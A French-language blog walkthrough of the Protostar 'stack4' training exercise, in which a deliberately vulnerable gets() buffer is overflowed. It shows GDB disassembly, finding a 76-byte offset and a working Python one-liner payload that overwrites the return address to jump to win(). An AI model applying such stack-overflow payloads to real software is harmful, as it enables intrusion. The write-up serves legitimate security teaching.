Protostar – stack 4

Nous allons commencer le cinquième challenge de la VM protostar  , le binaire stack 4.

https://exploit-exercises.com/protostar/stack4/

Voici le code source :

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}
stack 4

Le but est le même que pour stack 3 ,  il faut réussir à exécuter la fonction win .

Cependant aucun pointeur de fonction n’est déclaré ni appelé , il faudra écraser la valeur du registre EIP .

Le registre EIP est le registre d’instruction , c’est à dire qu’il contient l’adresse de la prochaine instruction à réaliser .

Si nous écrivons l’adresse de la fonction win sur EIP , celle ci s’exécutera .

Nous testons d’écraser eip tout d’abord :

user@protostar:/opt/protostar/bin$ python -c "print('A'*64+'BBBB'+'CCCC')">/tmp/f
user@protostar:/opt/protostar/bin$ ./stack4 < /tmp/f
user@protostar:/opt/protostar/bin$

Ici nous avons rempli le buffer et ajouté ‘BBBB’ et ‘CCCC’ mais eip n’a toujours pas été écrasé, le programme c’est donc terminer normalement…

Regardons quelle place à été réellement allouée les variable de la fonction main à l’aide de GDB :

user@protostar:/opt/protostar/bin$ gdb -q ./stack4
 Reading symbols from /opt/protostar/bin/stack4...done.
 (gdb) disassemble main
 Dump of assembler code for function main:
 0x08048408 <main+0>:    push   %ebp
 0x08048409 <main+1>:    mov    %esp,%ebp
 0x0804840b <main+3>:    and    $0xfffffff0,%esp
 0x0804840e <main+6>:    sub    $0x50,%esp
 0x08048411 <main+9>:    lea    0x10(%esp),%eax
 0x08048415 <main+13>:    mov    %eax,(%esp)
 0x08048418 <main+16>:    call   0x804830c <gets@plt>
 0x0804841d <main+21>:    leave
 0x0804841e <main+22>:    ret
 End of assembler dump.

Il y a donc 0x50 octets réservés pour la fonction main , soit 80 octets en décimal.

Tentons d’écraser EIP une nouvelle fois avec cette fois ci la taille correcte :

user@protostar:/opt/protostar/bin$ python -c "print('A'*76+'BBBB')">/tmp/fuser@protostar:/opt/protostar/bin$ gdb -q ./stack4
 Reading symbols from /opt/protostar/bin/stack4...done.
 (gdb) r < /tmp/f
 Starting program: /opt/protostar/bin/stack4 < /tmp/f

Program received signal SIGSEGV, Segmentation fault.
 0x42424242 in ?? ()

On écrit donc 80 -4 ‘A’ et 4 ‘B’ pour écraser EIP , cela fonctionne bien car on voit que le programme crash à l’adresse 0x42424242 soit nos ‘BBBB’ .

Récupérons l’adresse de la fonction win avec GDB :

(gdb) p win
 $1 = {void (void)} 0x80483f4 <win>

soit en little-endian : \xf4\x83\x04\x08

Testons d’exploiter le binaire maintenant que l’on à tout ce dont nous avons besoin :

user@protostar:/opt/protostar/bin$ python -c "print('A'*76+'\xf4\x83\x04\x08')"|./stack4
 code flow successfully changed
 Segmentation fault
Exploitation

La fonction win s’exécute bien comme on l’attendait , le challenge est réussi.

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée.